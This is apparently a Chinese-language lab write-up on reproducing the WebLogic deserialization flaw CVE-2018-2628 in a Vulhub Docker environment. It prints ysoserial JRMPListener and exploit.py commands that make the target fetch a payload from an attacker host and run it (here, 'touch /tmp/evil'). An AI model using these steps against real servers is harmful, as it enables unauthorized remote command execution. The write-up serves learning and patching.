00.前言
这篇文章将对该漏洞进行简介并复现,同时简要说明Vulhub的使用方法,适合小白一起学习,大佬看看就好☺
01.简介
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
影响版本:
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
参考链接:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- https://github.com/tdy218/ysoserial-cve-2018-2628
02.漏洞描述
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
03.漏洞复现
首先,在vulhub-master中漏洞的相应位置打开终端,输入docker-compose up -d
打开环境:
docker-compose up -d
然后输入docker ps
查看环境是否打开成功:
docker ps
1、搭建好后访问http://yourip:7001/console查看是否搭建OK:
2、接下来我们先下载反序列化工具ysoserial和该漏洞的exp,然后利用ysoserial启动JRMP Server,目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]
即为我想执行的命令,而[listen port]
是JRMP Server监听的端口。
试验中的IP:
靶机:192.168.10.139
攻击机kali:192.162.10.129
在kali运行以下命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/evil'
接着执行刚刚下载好的exp(python版本为2.7,exploit.py脚本只能在python2上执行),向目标Weblogic(http://your-ip:7001
)发送数据包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
。
在kali运行下面的命令:
python exploit.py 192.168.10.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.10.129 1099 JRMPClient
可以查看刚刚的监听是否发送成功:
靶机接收后,我们进入docker容器验证,使用以下命令:
sudo docker exec -it d29e540b5e8e /bin/bash
其中d29e540b5e8e
是该容器的id:
进入后,我们可以查看到在/tmp下,的确有evil存在,至此漏洞复现成功:
最后复现完漏洞就可以关闭环境了:
docker-compose down
04.漏洞复现
官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺